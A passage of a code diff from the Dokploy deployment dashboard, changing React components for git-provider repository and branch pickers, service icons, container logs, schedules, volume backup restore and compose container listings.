+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -303,7 +307,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 														{repositories?.map((repo: GiteaRepository) => {
 															return (
 																<CommandItem
-																	value={repo.name}
+																	value={`${repo.owner.username}/${repo.name}`}
 																	key={repo.url}
 																	onSelect={() => {
 																		form.setValue("repository", {
@@ -313,8 +317,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 																		form.setValue("branch", "");
 																	}}
 																>
-																	<span className="flex items-center gap-2">
-																		<span>{repo.name}</span>
+																	<span className="flex min-w-0 items-center gap-2">
+																		<span className="truncate">
+																			{repo.name}
+																		</span>
 																		<span className="text-muted-foreground text-xs">
 																			{repo.owner.username}
 																		</span>
@@ -322,7 +328,9 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 																	<CheckIcon
 																		className={cn(
 																			"ml-auto h-4 w-4",
-																			repo.name === field.value.repo
+																			repo.name === field.value.repo &&
+																				repo.owner.username ===
+																					field.value.owner
 																				? "opacity-100"
 																				: "opacity-0",
 																		)}
@@ -371,7 +379,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -402,7 +413,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
@@ -466,14 +477,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 												className="flex items-center gap-1"
 											>
 												{path}
-												<X
-													className="size-3 cursor-pointer hover:text-destructive"
+												<button
+													type="button"
+													aria-label="Remove watch path"
+													className="inline-flex items-center focus-visible:ring-2"
 													onClick={() => {
 														const newPaths = [...(field.value || [])];
 														newPaths.splice(index, 1);
 														field.onChange(newPaths);
 													}}
-												/>
+												>
+													<X className="size-3 cursor-pointer hover:text-destructive" />
+												</button>
 											</Badge>
 										))}
 									</div>
@@ -520,14 +535,14 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 							control={form.control}
 							name="enableSubmodules"
 							render={({ field }) => (
-								<FormItem className="flex items-center space-x-2">
+								<FormItem className="flex flex-row items-center space-x-2 space-y-0">
 									<FormControl>
 										<Switch
 											checked={field.value}
 											onCheckedChange={field.onChange}
 										/>
 									</FormControl>
-									<FormLabel className="mt-0!">Enable Submodules</FormLabel>
+									<FormLabel>Enable Submodules</FormLabel>
 								</FormItem>
 							)}
 						/>

apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx

@@ -47,6 +47,7 @@ import {
 } from "@/components/ui/tooltip";
 import { cn } from "@/lib/utils";
 import { api } from "@/utils/api";
+import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
 
 const GithubProviderSchema = z.object({
 	buildPath: z.string().min(1, "Path is required").default("/"),
@@ -96,6 +97,11 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 
 	const repository = form.watch("repository");
 	const githubId = form.watch("githubId");
+
+	// Enterprise repositories do not live on github.com.
+	const providerUrl =
+		githubProviders?.find((provider) => provider.githubId === githubId)
+			?.githubUrl ?? DEFAULT_GITHUB_URL;
 	const triggerType = form.watch("triggerType");
 
 	const { data: repositories, isPending: isLoadingRepositories } =
@@ -227,7 +233,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 										<FormLabel>Repository</FormLabel>
 										{field.value.owner && field.value.repo && (
 											<Link
-												href={`https://github.com/${field.value.owner}/${field.value.repo}`}
+												href={`${providerUrl}/${field.value.owner}/${field.value.repo}`}
 												target="_blank"
 												rel="noopener noreferrer"
 												className="flex items-center gap-1 text-sm text-muted-foreground hover:text-primary"
@@ -252,14 +258,19 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 														: isLoadingRepositories
 															? "Loading...."
 															: (repositories?.find(
-																	(repo) => repo.name === field.value.repo,
+																	(repo) =>
+																		repo.name === field.value.repo &&
+																		repo.owner.login === field.value.owner,
 																)?.name ?? field.value.repo)}
 
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -279,7 +290,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 													<CommandGroup>
 														{repositories?.map((repo) => (
 															<CommandItem
-																value={repo.name}
+																value={`${repo.owner.login}/${repo.name}`}
 																key={repo.url}
 																onSelect={() => {
 																	form.setValue("repository", {
@@ -289,8 +300,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", "");
 																}}
 															>
-																<span className="flex items-center gap-2">
-																	<span>{repo.name}</span>
+																<span className="flex min-w-0 items-center gap-2">
+																	<span className="truncate">{repo.name}</span>
 																	<span className="text-muted-foreground text-xs">
 																		{repo.owner.login}
 																	</span>
@@ -298,7 +309,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
-																		repo.name === field.value.repo
+																		repo.name === field.value.repo &&
+																			repo.owner.login === field.value.owner
 																			? "opacity-100"
 																			: "opacity-0",
 																	)}
@@ -345,7 +357,10 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -373,7 +388,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
@@ -429,8 +444,12 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 										</TooltipProvider>
 									</div>
 									<Select
-										onValueChange={field.onChange}
-										defaultValue={field.value}
+										onValueChange={(value) => {
+											if (!value) {
+												return;
+											}
+											field.onChange(value);
+										}}
 										value={field.value}
 									>
 										<FormControl>
@@ -478,14 +497,18 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 													className="flex items-center gap-1"
 												>
 													{path}
-													<X
-														className="size-3 cursor-pointer hover:text-destructive"
+													<button
+														type="button"
+														aria-label="Remove watch path"
+														className="inline-flex items-center focus-visible:ring-2"
 														onClick={() => {
 															const newPaths = [...(field.value || [])];
 															newPaths.splice(index, 1);
 															field.onChange(newPaths);
 														}}
-													/>
+													>
+														<X className="size-3 cursor-pointer hover:text-destructive" />
+													</button>
 												</Badge>
 											))}
 										</div>
@@ -534,14 +557,14 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 							control={form.control}
 							name="enableSubmodules"
 							render={({ field }) => (
-								<FormItem className="flex items-center space-x-2">
+								<FormItem className="flex flex-row items-center space-x-2 space-y-0">
 									<FormControl>
 										<Switch
 											checked={field.value}
 											onCheckedChange={field.onChange}
 										/>
 									</FormControl>
-									<FormLabel className="mt-0!">Enable Submodules</FormLabel>
+									<FormLabel>Enable Submodules</FormLabel>
 								</FormItem>
 							)}
 						/>

apps/dokploy/components/dashboard/application/general/generic/save-gitlab-provider.tsx

@@ -272,7 +272,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -310,8 +313,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
 																		form.setValue("branch", "");
 																	}}
 																>
-																	<span className="flex items-center gap-2">
-																		<span>{repo.name}</span>
+																	<span className="flex min-w-0 items-center gap-2">
+																		<span className="truncate">
+																			{repo.name}
+																		</span>
 																		<span className="text-muted-foreground text-xs">
 																			{repo.owner.username}
 																		</span>
@@ -368,7 +373,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -396,7 +404,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
@@ -459,14 +467,18 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
 												className="flex items-center gap-1"
 											>
 												{path}
-												<X
-													className="size-3 cursor-pointer hover:text-destructive"
+												<button
+													type="button"
+													aria-label="Remove watch path"
+													className="inline-flex items-center focus-visible:ring-2"
 													onClick={() => {
 														const newPaths = [...(field.value || [])];
 														newPaths.splice(index, 1);
 														field.onChange(newPaths);
 													}}
-												/>
+												>
+													<X className="size-3 cursor-pointer hover:text-destructive" />
+												</button>
 											</Badge>
 										))}
 									</div>
@@ -513,14 +525,14 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
 							control={form.control}
 							name="enableSubmodules"
 							render={({ field }) => (
-								<FormItem className="flex items-center space-x-2">
+								<FormItem className="flex flex-row items-center space-x-2 space-y-0">
 									<FormControl>
 										<Switch
 											checked={field.value}
 											onCheckedChange={field.onChange}
 										/>
 									</FormControl>
-									<FormLabel className="mt-0!">Enable Submodules</FormLabel>
+									<FormLabel>Enable Submodules</FormLabel>
 								</FormItem>
 							)}
 						/>

apps/dokploy/components/dashboard/application/general/show.tsx

@@ -271,6 +271,7 @@ export const ShowGeneralApplication = ({ applicationId }: Props) => {
 					<DockerTerminalModal
 						appName={data?.appName || ""}
 						serverId={data?.serverId || ""}
+						serviceId={applicationId}
 					>
 						<Button
 							variant="outline"

apps/dokploy/components/dashboard/application/icon/show-icon-settings.tsx

@@ -1,5 +1,5 @@
 import DOMPurify from "dompurify";
-import { GlobeIcon, Pencil, Search, X } from "lucide-react";
+import { CircuitBoard, GlobeIcon, Pencil, Search, X } from "lucide-react";
 import { useEffect, useMemo, useState } from "react";
 import { toast } from "sonner";
 import { Button } from "@/components/ui/button";
@@ -16,7 +16,8 @@ import { type BundledIcon, bundledIcons } from "@/lib/bundled-icons";
 import { api } from "@/utils/api";
 
 interface ShowIconSettingsProps {
-	applicationId: string;
+	serviceId: string;
+	serviceType: "application" | "compose";
 	icon?: string | null;
 }
 
@@ -26,7 +27,8 @@ const svgToDataUrl = (icon: BundledIcon): string => {
 };
 
 export const ShowIconSettings = ({
-	applicationId,
+	serviceId,
+	serviceType,
 	icon,
 }: ShowIconSettingsProps) => {
 	const [open, setOpen] = useState(false);
@@ -48,6 +50,17 @@ export const ShowIconSettings = ({
 	const utils = api.useUtils();
 	const { mutateAsync: updateApplication } =
 		api.application.update.useMutation();
+	const { mutateAsync: updateCompose } = api.compose.update.useMutation();
+
+	const updateIcon = async (newIcon: string | null) => {
+		if (serviceType === "compose") {
+			await updateCompose({ composeId: serviceId, icon: newIcon });
+			await utils.compose.one.invalidate({ composeId: serviceId });
+		} else {
+			await updateApplication({ applicationId: serviceId, icon: newIcon });
+			await utils.application.one.invalidate({ applicationId: serviceId });
+		}
+	};
 
 	useEffect(() => {
 		if (open) {
@@ -59,12 +72,8 @@ export const ShowIconSettings = ({
 	const handleIconSelect = async (selectedIcon: BundledIcon) => {
 		try {
 			const dataUrl = svgToDataUrl(selectedIcon);
-			await updateApplication({
-				applicationId,
-				icon: dataUrl,
-			});
+			await updateIcon(dataUrl);
 			toast.success("Icon saved successfully");
-			await utils.application.one.invalidate({ applicationId });
 			setOpen(false);
 		} catch (_error) {
 			toast.error("Error saving icon");
@@ -73,12 +82,8 @@ export const ShowIconSettings = ({
 
 	const handleRemoveIcon = async () => {
 		try {
-			await updateApplication({
-				applicationId,
-				icon: null,
-			});
+			await updateIcon(null);
 			toast.success("Icon removed");
-			await utils.application.one.invalidate({ applicationId });
 		} catch (_error) {
 			toast.error("Error removing icon");
 		}
@@ -130,12 +135,8 @@ export const ShowIconSettings = ({
 				return;
 			}
 			try {
-				await updateApplication({
-					applicationId,
-					icon: sanitizedDataUrl,
-				});
+				await updateIcon(sanitizedDataUrl);
 				toast.success("Icon saved!");
-				await utils.application.one.invalidate({ applicationId });
 				setOpen(false);
 			} catch (_error) {
 				toast.error("Error saving icon");
@@ -147,12 +148,8 @@ export const ShowIconSettings = ({
 		reader.onload = async (event) => {
 			const result = event.target?.result as string;
 			try {
-				await updateApplication({
-					applicationId,
-					icon: result,
-				});
+				await updateIcon(result);
 				toast.success("Icon saved!");
-				await utils.application.one.invalidate({ applicationId });
 				setOpen(false);
 			} catch (_error) {
 				toast.error("Error saving icon");
@@ -172,9 +169,11 @@ export const ShowIconSettings = ({
 						// biome-ignore lint/performance/noImgElement: icon is data URL or base64
 						<img
 							src={icon}
-							alt="Application icon"
+							alt="Service icon"
 							className="h-8 w-8 object-contain"
 						/>
+					) : serviceType === "compose" ? (
+						<CircuitBoard className="h-6 w-6 text-muted-foreground" />
 					) : (
 						<GlobeIcon className="h-6 w-6 text-muted-foreground" />
 					)}

apps/dokploy/components/dashboard/application/logs/show.tsx

@@ -1,6 +1,7 @@
 import { Loader2 } from "lucide-react";
 import dynamic from "next/dynamic";
 import { useEffect, useState } from "react";
+import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils";
 import { Badge } from "@/components/ui/badge";
 import {
 	Card,
@@ -50,9 +51,10 @@ export const badgeStateColor = (state: string) => {
 interface Props {
 	appName: string;
 	serverId?: string;
+	serviceId?: string;
 }
 
-export const ShowDockerLogs = ({ appName, serverId }: Props) => {
+export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
 	const [containerId, setContainerId] = useState<string | undefined>();
 	const [option, setOption] = useState<"swarm" | "native">("native");
 
@@ -78,17 +80,13 @@ export const ShowDockerLogs = ({ appName, serverId }: Props) => {
 			},
 		);
 
+	const availableContainers = option === "native" ? containers : services;
+
 	useEffect(() => {
-		if (option === "native") {
-			if (containers && containers?.length > 0) {
-				setContainerId(containers[0]?.containerId);
-			}
-		} else {
-			if (services && services?.length > 0) {
-				setContainerId(services[0]?.containerId);
-			}
-		}
-	}, [option, services, containers]);
+		setContainerId((currentContainerId) =>
+			resolveContainerSelection(currentContainerId, availableContainers),
+		);
+	}, [availableContainers]);
 
 	const isLoading = option === "native" ? containersLoading : servicesLoading;
 	const containersLength =
@@ -104,7 +102,7 @@ export const ShowDockerLogs = ({ appName, serverId }: Props) => {
 			</CardHeader>
 
 			<CardContent className="flex flex-col gap-4">
-				<div className="flex flex-row justify-between items-center gap-2">
+				<div className="flex flex-col sm:flex-row justify-between sm:items-center gap-2">
 					<Label>Select a container to view logs</Label>
 					<div className="flex flex-row gap-2 items-center">
 						<span className="text-sm text-muted-foreground">
@@ -113,6 +111,7 @@ export const ShowDockerLogs = ({ appName, serverId }: Props) => {
 						<Switch
 							checked={option === "native"}
 							onCheckedChange={(checked) => {
+								setContainerId(undefined);
 								setOption(checked ? "native" : "swarm");
 							}}
 						/>
@@ -182,6 +181,7 @@ export const ShowDockerLogs = ({ appName, serverId }: Props) => {
 					serverId={serverId || ""}
 					containerId={containerId || "select-a-container"}
 					runType={option}
+					serviceId={serviceId}
 				/>
 			</CardContent>
 		</Card>

apps/dokploy/components/dashboard/application/schedules/show-schedules.tsx

@@ -58,8 +58,12 @@ export const ShowSchedules = ({ id, scheduleType = "application" }: Props) => {
 	const handleRunManually = async (scheduleId: string) => {
 		setRunningSchedules((prev) => new Set(prev).add(scheduleId));
 		try {
-			await runManually({ scheduleId });
-			toast.success("Schedule run successfully");
+			const result = await runManually({ scheduleId });
+			if (result.status === "error") {
+				toast.error("Schedule run failed, check the deployment logs");
+			} else {
+				toast.success("Schedule run successfully");
+			}
 			await refetchSchedules();
 		} catch {
 			toast.error("Error running schedule");

apps/dokploy/components/dashboard/application/volume-backups/restore-volume-backups.tsx

@@ -50,6 +50,7 @@ interface Props {
 	id: string;
 	type: "application" | "compose";
 	serverId?: string;
+	trigger?: React.ReactNode;
 }
 
 const RestoreBackupSchema = z.object({
@@ -64,7 +65,12 @@ const RestoreBackupSchema = z.object({
 	}),
 });
 
-export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
+export const RestoreVolumeBackups = ({
+	id,
+	type,
+	serverId,
+	trigger,
+}: Props) => {
 	const [isOpen, setIsOpen] = useState(false);
 	const [search, setSearch] = useState("");
 	const [debouncedSearchTerm, setDebouncedSearchTerm] = useState("");
@@ -144,10 +150,12 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
 	return (
 		<Dialog open={isOpen} onOpenChange={setIsOpen}>
 			<DialogTrigger asChild>
-				<Button variant="outline">
-					<RotateCcw className="mr-2 size-4" />
-					Restore Volume Backup
-				</Button>
+				{trigger ?? (
+					<Button variant="outline">
+						<RotateCcw className="mr-2 size-4" />
+						Restore Volume Backup
+					</Button>
+				)}
 			</DialogTrigger>
 			<DialogContent className="sm:max-w-lg">
 				<DialogHeader>

apps/dokploy/components/dashboard/compose/advanced/add-isolation.tsx

@@ -6,6 +6,7 @@ import { toast } from "sonner";
 import { z } from "zod";
 import { AlertBlock } from "@/components/shared/alert-block";
 import { CodeEditor } from "@/components/shared/code-editor";
+import { Badge } from "@/components/ui/badge";
 import { Button } from "@/components/ui/button";
 import {
 	Card,
@@ -111,7 +112,10 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => {
 	return (
 		<Card className="bg-background">
 			<CardHeader>
-				<CardTitle className="text-xl">Enable Isolated Deployment</CardTitle>
+				<CardTitle className="text-xl flex items-center gap-2">
+					Enable Isolated Deployment
+					<Badge variant="yellow">Deprecated</Badge>
+				</CardTitle>
 				<CardDescription>
 					Configure isolated deployment to the compose file.
 					<div className="text-sm text-muted-foreground flex flex-col gap-2">
@@ -138,6 +142,11 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => {
 			</CardHeader>
 			<CardContent>
 				<div className="space-y-4">
+					<AlertBlock type="warning">
+						Isolated deployment is deprecated. Use the Networks section above to
+						attach networks per service and detach them from dokploy-network —
+						it is declarative and does not break on restarts.
+					</AlertBlock>
 					{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
 					<Form {...form}>
 						<form

apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx

@@ -55,12 +55,14 @@ interface Props {
 	appName: string;
 	serverId?: string;
 	appType: "stack" | "docker-compose";
+	serviceId?: string;
 }
 
 export const ShowComposeContainers = ({
 	appName,
 	appType,
 	serverId,
+	serviceId,
 }: Props) => {
 	const { data, isPending, refetch } =
 		api.docker.getContainersByAppNameMatch.useQuery(
@@ -112,6 +114,7 @@ export const ShowComposeContainers = ({
 									<TableHead>Name</TableHead>
 									<TableHead>State</TableHead>
 									<TableHead>Status</TableHead>
+									{appType === "stack" && <TableHead>Node</TableHead>}
 									<TableHead>Container ID</TableHead>
 									<TableHead className="text-right" />
 								</TableRow>
@@ -119,9 +122,11 @@ export const ShowComposeContainers = ({
 							<TableBody>
 								{data.map((container) => (
 									<ContainerRow
-										key={container.containerId}
+										key={container.name}
 										container={container}
+										appType={appType}
 										serverId={serverId}
+										serviceId={serviceId}
 										onActionComplete={() => refetch()}
 									/>
 								))}
@@ -140,14 +145,19 @@ interface ContainerRowProps {
 		name: string;
 		state: string;
 		status: string;
+		node?: string;
 	};
+	appType: "stack" | "docker-compose";
 	serverId?: string;
+	serviceId?: string;
 	onActionComplete: () => void;
 }
 
 const ContainerRow = ({
 	container,
+	appType,
 	serverId,
+	serviceId,
 	onActionComplete,
 }: ContainerRowProps) => {
 	const [logsOpen, setLogsOpen] = useState(false);
@@ -187,7 +197,13 @@ const ContainerRow = ({
 					variant={
 						container.state === "running"
 							? "default"
-							: container.state === "exited"
+							: [
+										"exited",
+										"pending",
+										"preparing",
+										"starting",
+										"ready",
+									].includes(container.state)
 								? "secondary"
 								: "destructive"
 					}
@@ -196,94 +212,99 @@ const ContainerRow = ({
 				</Badge>
 			</TableCell>
 			<TableCell>{container.status}</TableCell>
+			{appType === "stack" && <TableCell>{container.node || "-"}</TableCell>}
 			<TableCell className="font-mono text-sm text-muted-foreground">
-				{container.containerId}
+				{container.containerId || "-"}
 			</TableCell>
 			<TableCell className="text-right">
-				<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
-					<DropdownMenu>
-						<DropdownMenuTrigger asChild>
-							<Button variant="ghost" className="h-8 w-8 p-0">
-								{actionLoading ? (
-									<Loader2 className="h-4 w-4 animate-spin" />
-								) : (
-									<MoreHorizontal className="h-4 w-4" />
-								)}
-							</Button>
-						</DropdownMenuTrigger>
-						<DropdownMenuContent align="end">
-							<DropdownMenuLabel>Actions</DropdownMenuLabel>
-							<DialogTrigger asChild>
+				{!container.containerId ? null : (
+					<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
+						<DropdownMenu>
+							<DropdownMenuTrigger asChild>
+								<Button variant="ghost" className="h-8 w-8 p-0">
+									{actionLoading ? (
+										<Loader2 className="h-4 w-4 animate-spin" />
+									) : (
+										<MoreHorizontal className="h-4 w-4" />
+									)}
+								</Button>
+							</DropdownMenuTrigger>
+							<DropdownMenuContent align="end">
+								<DropdownMenuLabel>Actions</DropdownMenuLabel>
+								<DialogTrigger asChild>
+									<DropdownMenuItem
+										className="cursor-pointer"
+										onSelect={(e) => e.preventDefault()}
+									>
+										View Logs
+									</DropdownMenuItem>
+								</DialogTrigger>
+								<ShowContainerConfig
+									containerId={container.containerId}
+									serverId={serverId || ""}
+								/>
+								<ShowContainerMounts
+									containerId={container.containerId}
+									serverId={serverId || ""}
+								/>
+								<ShowContainerNetworks
+									containerId={container.containerId}
+									serverId={serverId || ""}
+								/>
+								<DockerTerminalModal
+									containerId={container.containerId}
+									serverId={serverId || ""}
+									serviceId={serviceId}
+								>
+									Terminal
+								</DockerTerminalModal>
+								<DropdownMenuSeparator />
 								<DropdownMenuItem
 									className="cursor-pointer"
-									onSelect={(e) => e.preventDefault()}
+									disabled={actionLoading !== null}
+									onClick={() => handleAction("restart", restartMutation)}
 								>
-									View Logs
+									Restart
 								</DropdownMenuItem>
-							</DialogTrigger>
-							<ShowContainerConfig
-								containerId={container.containerId}
-								serverId={serverId || ""}
-							/>
-							<ShowContainerMounts
-								containerId={container.containerId}
-								serverId={serverId || ""}
-							/>
-							<ShowContainerNetworks
-								containerId={container.containerId}
-								serverId={serverId || ""}
-							/>
-							<DockerTerminalModal
-								containerId={container.containerId}
-								serverId={serverId || ""}
-							>
-								Terminal
-							</DockerTerminalModal>
-							<DropdownMenuSeparator />
-							<DropdownMenuItem
-								className="cursor-pointer"
-								disabled={actionLoading !== null}
-								onClick={() => handleAction("restart", restartMutation)}
-							>
-								Restart
-							</DropdownMenuItem>
-							<DropdownMenuItem
-								className="cursor-pointer"
-								disabled={actionLoading !== null}
-								onClick={() => handleAction("start", startMutation)}
-							>
-								Start
-							</DropdownMenuItem>
-							<DropdownMenuItem
-								className="cursor-pointer"
-								disabled={actionLoading !== null}
-								onClick={() => handleAction("stop", stopMutation)}
-							>
-								Stop
-							</DropdownMenuItem>
-							<DropdownMenuItem
-								className="cursor-pointer text-red-500 focus:text-red-600"
-								disabled={actionLoading !== null}
-								onClick={() => handleAction("kill", killMutation)}
-							>
-								Kill
-							</DropdownMenuItem>
-						</DropdownMenuContent>
-					</DropdownMenu>
-					<DialogContent className="sm:max-w-7xl">
-						<DialogHeader>
-							<DialogTitle>View Logs</DialogTitle>
-							<DialogDescription>Logs for {container.name}</DialogDescription>
-						</DialogHeader>
-						<div className="flex flex-col gap-4 pt-2.5">
-							<DockerLogsId
-								containerId={container.containerId}
-								serverId={serverId}
-								runType="native"
-							/>
-						</div>
-					</DialogContent>
-				</Dialog>
+								<DropdownMenuItem
+									className="cursor-pointer"
+									disabled={actionLoading !== null}
+									onClick={() => handleAction("start", startMutation)}
+								>
+									Start
+								</DropdownMenuItem>
+								<DropdownMenuItem
+									className="cursor-pointer"
+									disabled={actionLoading !== null}
+									onClick={() => handleAction("stop", stopMutation)}
+								>
+									Stop
+								</DropdownMenuItem>
+								<DropdownMenuItem
+									className="cursor-pointer text-red-500 focus:text-red-600"
+									disabled={actionLoading !== null}
+									onClick={() => handleAction("kill", killMutation)}
+								>
+									Kill
+								</DropdownMenuItem>
+							</DropdownMenuContent>
+						</DropdownMenu>
+						<DialogContent className="sm:max-w-7xl">
+							<DialogHeader>
+								<DialogTitle>View Logs</DialogTitle>
+								<DialogDescription>Logs for {container.name}</DialogDescription>
+							</DialogHeader>
+							<div className="flex flex-col gap-4 pt-2.5">
+								<DockerLogsId
+									containerId={container.containerId}
+									serverId={serverId}
+									runType="native"
+									serviceId={serviceId}
+								/>
+							</div>
+						</DialogContent>
+					</Dialog>
+				)}
 			</TableCell>
 		</TableRow>
 	);

apps/dokploy/components/dashboard/compose/general/actions.tsx

@@ -84,19 +84,19 @@ export const ComposeActions = ({ composeId }: Props) => {
 				)}
 				{canDeploy && (
 					<DialogAction
-						title="Reload Compose"
-						description="Are you sure you want to reload this compose?"
+						title="Rebuild Compose"
+						description="Are you sure you want to rebuild this compose?"
 						type="default"
 						onClick={async () => {
 							await redeploy({
 								composeId: composeId,
 							})
 								.then(() => {
-									toast.success("Compose reloaded successfully");
+									toast.success("Compose rebuilt successfully");
 									refetch();
 								})
 								.catch(() => {
-									toast.error("Error reloading compose");
+									toast.error("Error rebuilding compose");
 								});
 						}}
 					>
@@ -109,12 +109,14 @@ export const ComposeActions = ({ composeId }: Props) => {
 								<TooltipTrigger asChild>
 									<div className="flex items-center">
 										<RefreshCcw className="size-4 mr-1" />
-										Reload
+										Rebuild
 									</div>
 								</TooltipTrigger>
 								<TooltipPrimitive.Portal>
 									<TooltipContent sideOffset={5} className="z-60">
-										<p>Reload the compose without rebuilding it</p>
+										<p>
+											Rebuilds the compose without downloading the source code
+										</p>
 									</TooltipContent>
 								</TooltipPrimitive.Portal>
 							</Tooltip>
@@ -206,6 +208,7 @@ export const ComposeActions = ({ composeId }: Props) => {
 				appName={data?.appName || ""}
 				serverId={data?.serverId || ""}
 				appType={data?.composeType || "docker-compose"}
+				serviceId={data?.composeId}
 			>
 				<Button
 					variant="outline"

apps/dokploy/components/dashboard/compose/general/generic/save-bitbucket-provider-compose.tsx

@@ -258,14 +258,19 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 														: isLoadingRepositories
 															? "Loading...."
 															: (repositories?.find(
-																	(repo) => repo.name === field.value.repo,
+																	(repo) =>
+																		repo.name === field.value.repo &&
+																		repo.owner.username === field.value.owner,
 																)?.name ?? "Select repository")}
 
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -285,7 +290,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 													<CommandGroup>
 														{repositories?.map((repo) => (
 															<CommandItem
-																value={repo.name}
+																value={`${repo.owner.username}/${repo.name}`}
 																key={repo.url}
 																onSelect={() => {
 																	form.setValue("repository", {
@@ -296,8 +301,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", "");
 																}}
 															>
-																<span className="flex items-center gap-2">
-																	<span>{repo.name}</span>
+																<span className="flex min-w-0 items-center gap-2">
+																	<span className="truncate">{repo.name}</span>
 																	<span className="text-muted-foreground text-xs">
 																		{repo.owner.username}
 																	</span>
@@ -305,7 +310,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
-																		repo.name === field.value.repo
+																		repo.name === field.value.repo &&
+																			repo.owner.username === field.value.owner
 																			? "opacity-100"
 																			: "opacity-0",
 																	)}
@@ -352,7 +358,10 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -380,7 +389,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
@@ -442,14 +451,18 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 										{field.value?.map((path, index) => (
 											<Badge key={index} variant="secondary">
 												{path}
-												<X
-													className="ml-1 size-3 cursor-pointer"
+												<button
+													type="button"
+													aria-label="Remove watch path"
+													className="inline-flex items-center focus-visible:ring-2"
 													onClick={() => {
 														const newPaths = [...(field.value || [])];
 														newPaths.splice(index, 1);
 														form.setValue("watchPaths", newPaths);
 													}}
-												/>
+												>
